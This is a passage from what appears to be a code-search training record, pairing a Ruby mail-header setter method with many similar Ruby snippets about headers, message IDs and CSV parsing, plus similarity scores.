"0.5317482",
"0.53036666",
"0.5275909",
"0.5262589",
"0.5256524",
"0.5238922",
"0.52270293",
"0.5218344",
"0.5213279",
"0.5212986",
"0.52021074",
"0.5199731",
"0.51965857",
"0.519326",
"0.515911",
"0.51555026",
"0.51499414",
"0.51475894",
"0.5142789",
"0.51425827",
"0.5130903",
"0.51240396",
"0.5119993",
"0.51082945",
"0.50792193",
"0.5059475",
"0.50483286",
"0.50472945",
"0.50472945",
"0.50472945",
"0.50418794",
"0.50294054",
"0.5026906",
"0.50175226",
"0.5011468",
"0.50030375",
"0.49937385",
"0.49908873",
"0.49869147",
"0.4982047",
"0.49816823",
"0.4980767",
"0.4980672",
"0.4976545",
"0.497516",
"0.49742925",
"0.49742925",
"0.49742925",
"0.49662676",
"0.4960964",
"0.4957393",
"0.49531707",
"0.49493992",
"0.49423867",
"0.4923548",
"0.49216953",
"0.49187303",
"0.4916258",
"0.4915428",
"0.4911694",
"0.48982903",
"0.48982322",
"0.4896797",
"0.48878154",
"0.48878154",
"0.48875985",
"0.48833448",
"0.48751983",
"0.48717755",
"0.48717663",
"0.4862684",
"0.48594385",
"0.485302",
"0.48515004",
"0.48489323",
"0.48475394"
] |
0.0
|
-1
|
Sets the FIRST matching field in the header to passed value, or deletes the FIRST field matched from the header if passed nil Example: h = Header.new
|
def []=(name, value)
name = dasherize(name)
if name.include?(':')
raise ArgumentError, "Header names may not contain a colon: #{name.inspect}"
end
fn = name.downcase
selected = select_field_for(fn)
case
# User wants to delete the field
when !Utilities.blank?(selected) && value == nil
fields.delete_if { |f| selected.include?(f) }
# User wants to change the field
when !Utilities.blank?(selected) && limited_field?(fn)
selected.first.update(fn, value)
# User wants to create the field
else
# Need to insert in correct order for trace fields
self.fields << Field.new(name.to_s, value, charset)
end
if dasherize(fn) == "content-type"
# Update charset if specified in Content-Type
params = self[:content_type].parameters rescue nil
@charset = params[:charset] if params && params[:charset]
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def header(value = nil)\n value ? self.header = value : @header\n end",
"def parse_header\n header.each do |field, value|\n self.instance_variable_set(\"@#{field}\", value) if HEADER_FIELDS.include? field\n end\n end",
"def setFirst(first)\n @first = first\n end",
"def header=(header)\n @header = header\n end",
"def header=(header)\n @header = header\n end",
"def header= h\n @header = if h.is_a? Numeric\n self[h]\n else\n h\n end\n end",
"def header(key = nil, val = nil)\n if key\n val ? @header[key.to_s] = val : @header.delete(key.to_s)\n else\n @header\n end\n end",
"def header(h, buffer = Buffer.new)\n rep = HEADREP[h[:type]]\n\n if h[:type] == :indexed\n buffer << integer(h[:name], rep[:prefix])\n\n else\n if h[:name].is_a? Integer\n buffer << integer(h[:name]+1, rep[:prefix])\n else\n buffer << integer(0, rep[:prefix])\n buffer << string(h[:name])\n end\n\n if h[:type] == :substitution\n buffer << integer(h[:index], 0)\n end\n\n if h[:value].is_a? Integer\n buffer << integer(h[:value], 0)\n else\n buffer << string(h[:value])\n end\n end\n\n # set header representation pattern on first byte\n fb = buffer[0].unpack(\"C\").first | rep[:pattern]\n buffer.setbyte(0, fb)\n\n buffer\n end",
"def header(h, buffer = \"\")\n rep = HEADREP[h[:type]]\n\n if h[:type] == :indexed\n buffer << integer(h[:name], rep[:prefix])\n\n else\n if h[:name].is_a? Integer\n buffer << integer(h[:name]+1, rep[:prefix])\n else\n buffer << integer(0, rep[:prefix])\n buffer << string(h[:name])\n end\n\n if h[:type] == :substitution\n buffer << integer(h[:index], 0)\n end\n\n if h[:value].is_a? Integer\n buffer << integer(h[:value], 0)\n else\n buffer << string(h[:value])\n end\n end\n\n # set header representation pattern on first byte\n fb = buffer[0].unpack(\"C\").first | rep[:pattern]\n buffer.setbyte(0, fb)\n\n buffer\n end",
"def first= value\n self[0] = value\n end",
"def set_header\n @header = Header.find(params[:id])\n end",
"def set_header\n @header = Header.find(params[:id])\n end",
"def first=(first)\n if first == nil or first.size == 0\n raise ArgumentError.new('Everyone must have a first name.')\n end\n first = first.dup\n first[0] = first[0].chr.capitalize\n @first = first\n end",
"def header=(hdr)\n order_check(hdr)\n hdr.each {|s| raise \"Header must contain strings\" if ! s.kind_of? String }\n @header = hdr\n end",
"def first=(first) \n if first == nil or first.size == 0 \n raise ArgumentError.new('Everyone must have a first name.') \n end \n # first = first.dup \n # first[0] = first[0].chr.capitalize \n @first = first \n end",
"def first=(first)\n if(first == nil or first.size == 0)\n\t raise ArgumentError.new(\"Everyone should have first name.\")\n\tend\n\tfirst = first.dup\n\tfirst[0] = first[0].chr.capitalize\n\t@first = first\n end",
"def grab_header\n return @header if (@header and [email protected]?)\n @file.rewind\n fields.each_with_index do |field_name, i|\n @header[i]= field_name.strip\n end\n @header\n end",
"def first=(first)\n if first == nil or first.size ==0\n raise ArgumentError.new('Everyone musthave a first name')\n end \n first[0] = first[0].chr.capitalize\n @first = first\n end",
"def normalise_header(header_name)\n # Set a non-empty value of header if its missing\n header_name ||= 'empty'\n\n # Lower case header name\n header_name = header_name.downcase\n\n # Try normalising as if it was an alt. spelling header\n normalised_header ||= normalise_alt_spelling(header_name)\n\n # Try normalising as if it was a source-related header\n normalised_header ||= normalise_source_header(header_name)\n\n # If nothing matched thus far, use header_name as is\n normalised_header || header_name\n end",
"def header(h, buffer = Buffer.new)\n rep = HEADREP[h[:type]]\n\n case h[:type]\n when :indexed\n buffer << integer(h[:name] + 1, rep[:prefix])\n when :changetablesize\n buffer << integer(h[:value], rep[:prefix])\n else\n if h[:name].is_a? Integer\n buffer << integer(h[:name] + 1, rep[:prefix])\n else\n buffer << integer(0, rep[:prefix])\n buffer << string(h[:name])\n end\n\n buffer << string(h[:value])\n end\n\n # set header representation pattern on first byte\n fb = buffer.ord | rep[:pattern]\n buffer.setbyte(0, fb)\n\n buffer\n end",
"def first=(val)\n puts \"Setting first='#{val}'\"\n self.old_first=val\n end",
"def first_name_set(name)\n self.firstname.set name if nil_or_empty?(firstname[:value])\n end",
"def header\n @header ||= csv_rows.first\n end",
"def header\n @header ||= csv_rows.first\n end",
"def first\n header_data\n end",
"def from_string(header) # rubocop:disable Metrics/CyclomaticComplexity:\n return DEFAULT if header.nil? || header.empty?\n\n hash = header.split(',').each_with_object({}) do |member, memo|\n member.strip!\n kv = member.split('=')\n k, v = *kv\n next unless kv.length == 2 && VALID_KEY.match?(k) && VALID_VALUE.match?(v)\n\n memo[k] = v\n end\n return DEFAULT if hash.empty?\n\n new(hash)\n end",
"def process_header_old(header)\n\n first_field, rest_of_header = header.split(':',2)\n\n if first_field == header\n\n # we have a field name, i.e. a dynamic field\n # puts \"we got a field name: \" + \"#{first_field}\"\n\n return add_child_field first_field\n\n else\n \n # error condition if there is nothing after the ':'\n return nil if rest_of_header == ''\n\n # puts \"First part of header: \" + \"#{first_field}\"\n # puts \"Second part of header: \" + \"#{rest_of_header}\"\n\n # we have a field_group name, i.e. a dynamic field group\n\n # If the field group does not exist, create one\n @child_field_groups[first_field] ||= Hyacinth::Utils::DynamicFieldGroupBuilder.new first_field, self\n\n return @child_field_groups[first_field].process_header(rest_of_header)\n \n end\n\n end",
"def update!(**args)\n @header_name = args[:header_name] if args.key?(:header_name)\n @regex_match = args[:regex_match] if args.key?(:regex_match)\n end",
"def parse_headers(row = nil)\n if @headers.nil? # header row\n @headers = case @use_headers # save headers\n # Array of headers\n when Array then @use_headers\n # HBCSV header String\n when String\n self.class.parse_line( @use_headers,\n col_sep: @col_sep,\n row_sep: @row_sep,\n quote_char: @quote_char )\n # first row is headers\n else row\n end\n\n # prepare converted and unconverted copies\n row = @headers if row.nil?\n @headers = convert_fields(@headers, true)\n @headers.each { |h| h.freeze if h.is_a? String }\n\n if @return_headers # return headers\n return self.class::Row.new(@headers, row, true)\n elsif not [Array, String].include? @use_headers.class # skip to field row\n return shift\n end\n end\n\n self.class::Row.new(@headers, convert_fields(row)) # field row\n end",
"def setup_header(dat)\n @headers = { to: to }\n dat.each do |key, val|\n key = key.to_s.downcase\n raise \"invalid field #{key}\" unless valid_fields.include?(key)\n @headers[key.to_sym] = val unless val.nil?\n end\n end",
"def header=(value)\n @header = Mail::Header.new(value, charset)\n end",
"def select_first_field(str)\n # Add PBX selection to first field\n matches = str.scan(/\\<\\#.*\\#\\>/)\n if matches.size > 0\n first_field = matches[0][0].to_s\n # str.gsub!(/#{first_field}/, \"%%%{PBXSelection}%%%#{first_field}%%%{PBXSelection}%%%\")\n str.gsub!(/#{first_field}/, \"#{first_field}\")\n end\n \n str\n end",
"def find_header(header)\n {}.tap do |returning|\n contents.scan(header_with_content_regexp(header)).flatten.first.split(\"\\n\").each do |setting|\n name, value = *setting.split('=').map(&:strip)\n returning[name] = value\n end\n end\n end",
"def get(field)\n @headers[field] || EMPTY\n end",
"def first\n @first ||= VcfGenotypeField.new(@fields[9],format,@header,ref,alt)\n end",
"def parse_header(row)\r\n @first_month = 0 # January.\r\n row.each do |col|\r\n next unless col.nil?\r\n index = Date::MONTHNAMES.index(col.strip)\r\n unless index.nil?\r\n @first_month = index\r\n break\r\n end\r\n end\r\n @header_parsed = true\r\n end",
"def http_header(field=nil, value=nil)\n @_http_header ||= {}\n @_http_header[field] = value if field\n @_http_header\n end",
"def unpack_header(header)\n # fixed fields\n self.version = header.slice!(0)\n self.type = header.slice!(0)\n self.seq_no = header.slice!(0)\n self.flags = header.slice!(0)\n self.session_id = header.slice!(0..3)\n self.length = header.slice!(0..3)\n return(nil)\n end",
"def []=(header, value)\n @headers[header] = value\n end",
"def extract_field(header, val, processed)\n return if val.blank?\n case header\n when 'type', 'accession_number', 'id', 'status', 'ark', 'call_number', 'preservation_level', 'visibility'\n # single valued fields\n processed[header.to_sym] = val\n when /^(created|issued|date_copyrighted|date_valid)_(.*)$/\n key = \"#{Regexp.last_match(1)}_attributes\".to_sym\n # TODO: this only handles one date of each type\n processed[key] ||= [{}]\n update_date(processed[key].first, Regexp.last_match(2), val)\n when 'collection_id'\n processed[:collections] ||= []\n processed[:collections] << { id: val }\n else\n last_entry = Array(processed[header.to_sym]).last\n if last_entry.is_a?(Hash) && !last_entry[:name]\n update_typed_field(header, val, processed)\n else\n extract_multi_value_field(header, val, processed)\n end\n end\n end",
"def header\n @header ||= create_header\n end",
"def set_header(header, value)\n @lunetas_headers[header.to_s] = value\n end",
"def initialize(header=nil) \n if (header)\n if (!header.kind_of?(String))\n raise ArgumentError, \"Expected String, but #{header.class} provided.\"\n end\n \n if (header.length != 12)\n raise ArgumentError, \"Provided String should be 12-bytes but was #{header.length}-bytes.\"\n end\n\n unpack_header(header)\n else \n # set defaults\n reset!\n end\n \n end",
"def []=(key, value)\n @header[key] = value\n end",
"def first(field)\n @attributes[field]\n end",
"def header(name, value)\n if value.nil?\n @headers.delete(name)\n else\n @headers[name] = value\n end\n end",
"def uniq!( header )\n data.uniq!( header ); self\n end",
"def parse_header(header_line)\n entries = delete_special_chars(header_line)\n # switch entries for geo coordinates since latitude comes before longitude\n geo_coordinate = Entity::Coordinate.new(entries[6].to_f, entries[5].to_f)\n @grid_data = Entity::GridPoint.new(entries[8].to_f, entries[9].to_f,\n entries[12].to_f, entries[11].to_f)\n # special case for multi word locations\n station_name = entries[0].sub(\"_\", \" \")\n @station = Entity::Station.new(station_name, entries[3], entries[13].to_f,\n geo_coordinate)\n nil\n end",
"def normalise_source_header(header_name)\n # Run regex to see if it matches expected format\n source_match = self.class.source_header_regex.match header_name\n\n if source_match\n # Set header name as source#part where:\n # # is num\n # part is ref, date, place or orig_reference\n norm_header_name = 'source' + source_match[1]\n\n # Add last part of source string (date, place, ref) to header if available\n # Default is orig_reference\n suffix = source_match[2] || 'orig_reference'\n norm_header_name += suffix\n\n return norm_header_name\n end\n nil\n end",
"def update_typed_field(header, val, processed)\n if header.match(type_header_pattern)\n stripped_header = header.gsub('_type', '')\n processed[stripped_header.to_sym] ||= []\n processed[stripped_header.to_sym] << { type: val }\n else\n fields = Array(processed[header.to_sym])\n fields.last[:name] = val\n end\n end",
"def header=(new_header)\n @header = new_header\n # prepare defaults\n @header[\"description\"] ||= \"\"\n # handle tags\n @dependencies = parse_tag_list(Array(@header[\"requires\"]))\n @provides = parse_tag_list(Array(@header[\"provides\"]))\n\n @extends = case @header[\"extends\"]\n when Array then Tag.new(@header[\"extends\"][0])\n when String then Tag.new(@header[\"extends\"])\n else nil\n end\n\n @replaces = case @header[\"replaces\"]\n when Array then Tag.new(@header[\"replaces\"][0])\n when String then Tag.new(@header[\"replaces\"])\n else nil\n end\n end",
"def header_set(name, value)\n return dup_without_response.header_set(name, value) if response\n\n name = name.to_s\n if value.nil?\n @headers.delete name\n return self\n end\n\n @headers[name] = value.to_s\n self\n end",
"def strip_header(h, iterator)\n if (h == nil or iterator == nil)\n return false\n end\n \n #Checks if input stream line = filter pattern, removes line if true.\n if (iterator.first =~ /#{h[\"val\"]}/)\n iterator.delete_at(0)\n end\n\n return iterator\n end",
"def [](field)\n @header[field.capitalize]\n end",
"def from_s(header)\n reset\n\n # ghettoooooo!\n # If we don't have any newlines..., put one there.\n if (header.size > 0 && header !~ /\\r\\n/)\n header << \"\\r\\n\"\n end\n\n # put the non-standard line terminations back to normal\n # gah. not having look behinds suck,\n header.gsub!(/([^\\r])\\n/n,'\\1' + \"\\r\\n\")\n\n # undo folding, kinda ugly but works for now.\n header.gsub!(/:\\s*\\r\\n\\s+/smni,': ')\n\n # Extract the command string\n self.cmd_string = header.slice!(/.+\\r\\n/)\n\n # Extract each header value pair\n header.split(/\\r\\n/mn).each { |str|\n if (md = str.match(/^(.+?)\\s*:\\s*(.+?)\\s*$/))\n if (self[md[1]])\n self[md[1]] << \", \" + md[2]\n else\n self[md[1]] = md[2]\n end\n end\n }\n end",
"def update_typed_field(header, val, processed)\n if header.match?(type_header_pattern)\n stripped_header = header.gsub('_type', '')\n processed[stripped_header.to_sym] ||= []\n processed[stripped_header.to_sym] << { type: val }\n else\n fields = Array(processed[header.to_sym])\n fields.last[:name] = val\n end\n end",
"def header_unset(name)\n header_set name, nil\n end",
"def normalize_header(header)\n return nil if header.nil?\n header.downcase.split.join(\"_\").chomp('?')\nend",
"def header=(_arg0); end",
"def put_header(name=nil,value=nil)\n if name.class == String && value.class == String && !block_given?\n @j_del.java_method(:putHeader, [Java::java.lang.String.java_class,Java::java.lang.String.java_class]).call(name,value)\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling put_header(name,value)\"\n end",
"def replace_first(input, string, replacement = T.unsafe(nil)); end",
"def header\n @header ||= Header.new(\n column_definitions: config.column_definitions,\n column_names: csv.header\n )\n end",
"def method_missing(name, *args, &block)\n #:nodoc:\n # Only take the structured fields, as we could take _anything_ really\n # as it could become an optional field... \"but therin lies the dark side\"\n field_name = underscoreize(name).chomp(\"=\")\n if Mail::Field::KNOWN_FIELDS.include?(field_name)\n if args.empty?\n header[field_name]\n else\n header[field_name] = args.first\n end\n else\n super # otherwise pass it on\n end\n #:startdoc:\n end",
"def hashify_header(hash, line)\n return nil if line.nil? || line.strip.empty?\n key, value = line.split(':')\n hash[convert_key(key)] = value.strip.chomp\n end",
"def header(name, value = nil)\n if value\n (@headers ||= {})[name] = value\n else\n (@headers || {})[name]\n end\n end",
"def replace(other)\n unless other.kind_of?(RMail::Header)\n raise TypeError, \"#{other.class.to_s} is not of type RMail::Header\"\n end\n temp = other.dup\n @fields = temp.fields\n @mbox_from = temp.mbox_from\n self\n end",
"def headerName(header)\n begin\n header.split(\" \")[0]\n rescue\n \"\"\n end\nend",
"def header\n if defined?(@header) && (@header == false)\n false\n elsif defined?(@header) && @header\n @header\n else\n first\n end\n end",
"def set_first\n @first = First.find(params[:id])\n end",
"def reset_field(key)\n field = self.class.fetch_field(key)\n field_set key, field.make_default(self)\n end",
"def prepare_header_cells(table_header)\n cells = @parser.find(table_header).find_children('tr').find_children(\n 'th'\n ).list_results\n cells.each do |cell|\n next unless Hatemile::Util::CommonFunctions.is_valid_element?(cell)\n\n @id_generator.generate_id(cell)\n cell.set_attribute('scope', 'col')\n end\n end",
"def header=(header)\n header = [header] unless header.respond_to? :each\n @header = normalize(header)\n @aliases = header.map do |n|\n n.downcase.gsub(' ', '_').gsub(\"\\n\", '_').to_sym\n end if @aliases.empty?\n end",
"def getHeader() @header1 end",
"def header_map_Vn_one(h)\n [\n [ /start_time/, \"start-time\"],\n [ /experiment-id/, \"domain\" ],\n ].each do |re, repl|\n h = h.gsub(re, repl)\n end\n h\n end",
"def parse_header(line)\n case line\n when /^#%checkm/\n match = /^#%checkm_(\\d+)\\.(\\d+)/.match line\n @version = \"#{match[1]}.#{match[2]}\" if match\n when /^#%eof/\n @eof = true\n when /^#%fields/\n list = line.split('|')\n list.shift\n @fields = list.map { |v| v.strip.downcase }\n when /^#%prefix/, /^#%profile/\n # do nothing\n end\n end",
"def put_header(key, value)\n @j_del.putHeader(key, value.to_s)\n self\n end",
"def put_header(key, value)\n @j_del.putHeader(key, value.to_s)\n self\n end",
"def header_params\n params.require(:header).permit(:name, :value, :mock_id)\n end",
"def reset\n self.members.each_with_index do |member, i|\n # First field -> primary key, set to nil to invalidate the entry\n if i == 0\n self[i] = nil\n else\n self[i] = case member.to_s[0]\n when 'r', 'i' then 0 # r or i\n when 's', 'm' then '' # s or m\n when 'f' then 0.0\n else\n raise 'Unknown data type'\n end\n end\n end\n return self\n end",
"def parse!\n if /^(?<key>.*?):(?<value>.*)/m =~ @raw\n @key = key.strip\n @value = value.strip\n else\n raise \"Unable to parse Header: #{@raw}\"\n end\n end",
"def parse_first_header(line)\n\n # split the line into: METHOD URI PROTOCOL\n # eg: GET / HTTP/1.1\n parsed = line.split(' ')\n\n # a correct request has three parts\n return bad_parsing unless parsed.size == 3\n\n @http_request_method, uri, @http_protocol = parsed\n\n # optional query string\n @http_request_uri, @http_query_string = uri.split('?')\n end",
"def drill_once(header,value)\n result = items.select do |item|\n item.get(header)==value\n end\n result=result[0] if result.length==1\n end",
"def csv_header_to_column(columns, header)\n col = columns.select do |col|\n col.getName == header\n end\n return if col.nil? or col.length <= 0\n\n col[0]\n end",
"def set_header_fields(request)\n request.smb2_header.tree_id = id\n request.smb2_header.credits = 256\n request\n end",
"def set_invoice_header\n @invoice_header = InvoiceHeader.find(params[:id])\n end",
"def empty(headers, path)\n path = Pathname(path) unless path.nil?\n\n raise(ExistingCSVHeaderError, path) if path&.file?\n\n headers = headers.map { |header| normalize_key(header) }\n new(CSV::Table.new([CSV::Row.new(headers, headers, true)]), path)\n end",
"def +(header)\n keys = %w[header_length body_length channel_id message_type_id message_stream_id timestamp]\n other_values = Hash[keys.map {|k| [k, header.instance_variable_get(\"@#{k}\")]}]\n other_values.each do |k, v|\n unless v.nil?\n send(\"#{k}=\", v) unless v.nil?\n end\n end\n self\n end",
"def convert_header(h)\n changed_header = h.to_s.downcase.gsub('-', '').gsub(' ','_')\n (User::HEADERS[changed_header].present? ? User::HEADERS[changed_header] : changed_header).intern\n end",
"def fetch_first_field(sql)\n fetch_first_row(sql)&.values&.first\n end",
"def add_first(value)\r\n new_node = Node.new(value, @head)\r\n @head = new_node\r\n end",
"def process_header(header)\n\n first_field, rest_of_header = header.split(':',2)\n\n if first_field == header\n\n # we have a field name, i.e. a dynamic field\n # puts \"we got a field name: \" + \"#{first_field}\"\n\n return add_child_field first_field\n\n else\n \n # error condition if there is nothing after the ':'\n return nil if rest_of_header == ''\n\n # puts \"First part of header: \" + \"#{first_field}\"\n # puts \"Second part of header: \" + \"#{rest_of_header}\"\n\n # we have a field_group name, i.e. a dynamic field group\n\n # puts \"Here is the first_field: #{first_field}\"\n dynamic_field_group_type = first_field.gsub(/\\d*/,'')\n # puts \"Here is the dynamic_field_group_type: #{dynamic_field_group_type}\"\n @child_field_groups[first_field] ||= Hyacinth::Utils::DynamicFieldGroupBuilder.new first_field, self\n # @child_dynamic_field_groups_by_type[dynamic_field_group_type] = {first_field => @child_field_groups[first_field]}\n # @child_dynamic_field_groups_by_type[dynamic_field_group_type] = { first_field => @child_field_groups[first_field] }\n @child_dynamic_field_groups_by_type[dynamic_field_group_type] = \n Hash.new unless child_dynamic_field_groups_by_type.has_key? dynamic_field_group_type\n @child_dynamic_field_groups_by_type[dynamic_field_group_type][first_field] = @child_field_groups[first_field]\n # @child_dynamic_field_groups_by_type[dynamic_field_group_type].store [first_field] = @child_field_groups[first_field]\n\n return @child_field_groups[first_field].process_header(rest_of_header)\n \n end\n\n end",
"def hsetnx(key, field, value); end",
"def hsetnx(key, field, value); end",
"def [](header)\n super(header.downcase)\n end",
"def remove_first(item)\n return self.dup.tap { |s| s.remove_first!(item) }\n end",
"def split_header\n self.fields = raw_source.split(HEADER_SPLIT)\n end",
"def header_value=(value)\n @header_value = value\n end",
"def getSecondHeader() @header2 end",
"def semanticize_table_headers!\n @document.tree.search('table tr:first td').each { |node| node.node_name = 'th' }\n end",
"def add_first(data)\n first = Node.new(data, head)\n @head = first\n end"
] |
[
"0.6505785",
"0.6139986",
"0.6100362",
"0.6046114",
"0.60236186",
"0.6007642",
"0.5944773",
"0.59438324",
"0.5937176",
"0.5933769",
"0.59020627",
"0.59020627",
"0.58999807",
"0.588291",
"0.5875876",
"0.58486",
"0.5813431",
"0.5800602",
"0.5762079",
"0.5714005",
"0.5654009",
"0.55919135",
"0.5567479",
"0.5567479",
"0.5537352",
"0.54995525",
"0.5468474",
"0.5459759",
"0.54506904",
"0.5436834",
"0.54075485",
"0.54070115",
"0.5401642",
"0.5357301",
"0.5355903",
"0.5330471",
"0.5317556",
"0.5299675",
"0.52928054",
"0.52891666",
"0.5277381",
"0.52470666",
"0.5243305",
"0.5240101",
"0.52360183",
"0.5235352",
"0.5234802",
"0.5216883",
"0.5212958",
"0.52030325",
"0.5202223",
"0.5201006",
"0.51976687",
"0.51935416",
"0.51868296",
"0.51838225",
"0.51797986",
"0.5178011",
"0.5174331",
"0.51145524",
"0.51124376",
"0.510505",
"0.50964093",
"0.5082237",
"0.5069255",
"0.5066331",
"0.5066249",
"0.5059779",
"0.50584155",
"0.5058214",
"0.50566524",
"0.50538343",
"0.50391",
"0.50371045",
"0.5014385",
"0.50106496",
"0.50106496",
"0.5002315",
"0.4994759",
"0.49914575",
"0.49664602",
"0.49559844",
"0.49412617",
"0.49405932",
"0.4937497",
"0.49195164",
"0.49114",
"0.49090546",
"0.4907115",
"0.4906492",
"0.4895955",
"0.48816943",
"0.48816943",
"0.48800474",
"0.48759025",
"0.48721427",
"0.4871989",
"0.4864498",
"0.4860077",
"0.48514533"
] |
0.52428484
|
43
|
Returns true if the header has a MessageID defined (empty or not)
|
def has_message_id?
!fields.select { |f| f.responsible_for?('Message-ID') }.empty?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def has_message_id?\n header.has_message_id?\n end",
"def has_outgoing_headers?\n !!(raw_headers =~ /^X\\-Postal\\-MsgID\\:/i)\n end",
"def has_outgoing_headers?\n !!(raw_headers =~ /^X\\-Postal\\-MsgID\\:/i)\n end",
"def header?(key)\n return true if @args[:headers].key?(key) && @args[:headers][key].first.to_s.length > 0\n false\n end",
"def message_id\n\t\tmessage_id = self.headers[\"Message-ID\"]\n\t\tmessage_id.nil? || message_id.empty? ? message_id : nil\n\tend",
"def header?(key)\n\t\t\[email protected]{|h| h[:id] == key}[0] rescue nil\n\t\tend",
"def header?(key)\n return true if headers.key?(key) && !headers[key].first.to_s.empty?\n\n false\n end",
"def header?\n @properties.key?(:header) && !@properties[:header].empty?\n end",
"def has_header?\n @has_header\n end",
"def have_transmission_header?\n @have_transmission_header\n end",
"def headercheck(raw)\n decode(raw)[0...Payload::HEADER.length] == Payload::HEADER\n end",
"def headers?\n @headers.empty?\n end",
"def header?(key)\n key.is_a?(Numeric) || @headers.nil? || @headers.include?(key)\n end",
"def header?(header)\n data.key?(header)\n end",
"def have_transmission_header?\n self.class.have_transmission_header?\n end",
"def has_content_id?\n !fields.select { |f| f.responsible_for?('Content-ID') }.empty?\n end",
"def header?\n @header\n end",
"def header?\n @header\n end",
"def valid_header?(header)\n return false if header.empty?\n length = -1\n header.each do |row|\n return false if row.empty?\n length = row.size if length == -1\n return false if row.size != length\n end\n true\n end",
"def id?(index)\n @messages[index].nil?\n end",
"def has_message?(mess_id)\r\n found = false\r\n @messages.each {|m| found = true if m.message_id.to_s == mess_id.to_s}\r\n return found\r\n end",
"def has_message?\n has_message\n # && messages.count > 0\n end",
"def header_contains\n return @header_contains\n end",
"def empty?\n no_headers.empty? rescue true\n end",
"def exists?(header = {})\n header = DEFAULT_REQUEST_HEADER.merge(header)\n return super(header) unless @data['properties']\n find_by_name_in_properties(header).size == 1\n end",
"def has_messages?\n\t\t\treturn !(messages.empty?)\n\t\tend",
"def sent?\n id.present?\n end",
"def is_text_header?(header)\n not header.include?('/Subtype') and not header.match(/\\/Length[1-3]+/)\n end",
"def is_header?\n return false unless contains_data?\n return false if spent_finance.present?\n return false if planned_finance.present?\n return false unless only_code_and_name_present?\n true\n end",
"def current_user_hasmsg?\n response = get_current_user_meta('hasmsg')\n return false unless response\n\n response['query']['userinfo']['messages'] == ''\n end",
"def header?\r\n\t\ttrue\r\n\tend",
"def header?\r\n\t\ttrue\r\n\tend",
"def check_message_id_md5\n return true if message_id.blank?\n\n self.message_id_md5 = Digest::MD5.hexdigest(message_id.to_s)\n end",
"def msg_exists(msg) \n not msg.nil? and not msg.empty?\n end",
"def sent?\n id.present? && error.blank?\n end",
"def is_header()\n\t\tend",
"def udp?\n @udp_header\n end",
"def valid_keys?(message)\n [:sender, :sent_to, :type, :uid] - message.keys == []\n end",
"def is_header?(fields)\n # parsing should ignore...\n # lines that are completely blank\n # lines that appear to be entirely delimiters\n\n return true if fields.empty?\n\n line = fields.join\n\n # these are probably horizontal markers between any header text and the actual data\n return true if line =~ /^[-=*_\\s]*$/\n\n return true unless line =~ /\\d/\n\n return true if line =~ /^\\s*[A-Za-z ]+$/\n\n # this line looks significant, keep it in.\n false\n end",
"def message_id\n headers['Message-Id'] || msg['_id'] || self['_id']\n end",
"def message_id=( val )\n header[:message_id] = val\n end",
"def open?\n return @header_data != nil\n end",
"def check_headers(v)\n return true unless v\n return true if v.size == 0\n if HEADER_REGEXP !~ v\n raise InvalidComponentError,\n \"bad component(expected opaque component): #{v}\"\n end\n\n true\n end",
"def is_header?(); @type == GRT_HEADER; end",
"def element_header?\n\t\t\n\tend",
"def sent?\n sender_id.present?\n end",
"def is_http_header? line\n line.split(':').length == 2\n end",
"def header_row?\n @use_headers and @headers.nil?\n end",
"def add_message_id(msg_id_val = '')\n header['message-id'] = msg_id_val\n end",
"def valid_headers?(row)\n (required_csv_headers - row.keys).empty?\n end",
"def empty?\n @messages.empty?\n end",
"def empty?\n @messages.empty?\n end",
"def empty?\n @messages.empty?\n end",
"def check_null_headers\n\t\t\t@headers_name.each do |p|\n\t\t\t\tunless @headers[p].present? && !@headers[p].nil? && !@headers[p].empty?\n\t\t\t\t\traise Exceptions::WrongHeaderError.new(p)\n\t\t\t\tend\n\t\t\tend\n\t\t\ttrue\n\t\tend",
"def message_exists?(response)\n response.respond_to?(:name) && response.name == 'EXISTS'\n end",
"def parse_atx_header\n return false unless after_block_boundary?\n text, id = parse_header_contents\n text.sub!(/(?<!\\\\)#+\\z/, '') && text.rstrip!\n return false if text.empty?\n add_header(@src[\"level\"].length, text, id)\n true\n end",
"def parse_atx_header_gfm_quirk\n text, id = parse_header_contents\n text.sub!(/[\\t ]#+\\z/, '') && text.rstrip!\n return false if text.empty?\n\n add_header(@src[\"level\"].length, text, id)\n true\n end",
"def header_only?\n\t\tcoins.empty? && parent.nil?\n\tend",
"def any?\n messages.count.positive?\n end",
"def has_identifier?\n ([email protected]? and @issn != '') or ([email protected]? and @eissn != '') or ([email protected]? and @isbn != '') or \n ([email protected]? and @eisbn != '') or ([email protected]? and @oclc != '') or ([email protected]? and @lccn != '') or \n ([email protected]? and @doi != '') or (!@svc_specific_id_1.nil? and @svc_specific_id_1 != '') or \n (!@svc_specific_id_2.nil? and @svc_specific_id_2 != '') or (!@svc_specific_id_3.nil? and @svc_specific_id_3 != '')\n end",
"def is_request? msg\n msg && msg[:req_id]\n end",
"def message?\n false\n end",
"def commit_msg_empty?(msg)\n msg.lines.grep(/^(?!#).*\\S.*^/).empty?\nend",
"def valid?\n @header && ['200','301','302'].include?(@header.code)\n end",
"def header_exists?\r\n selenium.wait_for_element_to_present(\"css=#header\")\r\n end",
"def empty?\n to_h.tap { |changes| changes.delete(:identifier) }.empty?\n end",
"def header; message[:header]; end",
"def validate()\n cs = checksum()\n return cs == @header[LENGTH - 1]\n end",
"def sent?\n [email protected]?\n end",
"def id_found?\n token && decoded_token && decoded_token[:id]\n end",
"def msg_id(key)\n key =~ /^(msgid:[^:]*:[-0-9a-f]*):.*$/ && $1\n end",
"def columnheaders_unique?\r\n columnheaders_raw.length == columnheaders_raw.uniq.length\r\n end",
"def has_source_header?\n false\n end",
"def contains?(data)\n if (@header)\n current = @header\n while (current.next)\n if (current.data == data) \n return true\n else\n current = current.next\n end\n end\n end\n return false\n end",
"def start_with?(string)\n @message[:body].to_s.start_with?(string)\n end",
"def catalog?\n !self[:message_id].nil?\n end",
"def has_id_element?\n each_node do |n|\n next unless n.kind_of?(Element)\n next unless n.hid\n return true\n end\n false\n end",
"def table_header?\n @assigned_paragraph_type == :table_header\n end",
"def node_header?(node)\n %w[h1 h2 h3 h4 h5 h6].include?(node.name.downcase)\n end",
"def message_seen?(message_id)\n self.seen_messages.include?(message_id)\n end",
"def headerable?\n properties.include?(\"headerable\")\n end",
"def deleted?\n return @header.deleted?\n end",
"def broadcast?\n self.identifier == '00'\n end",
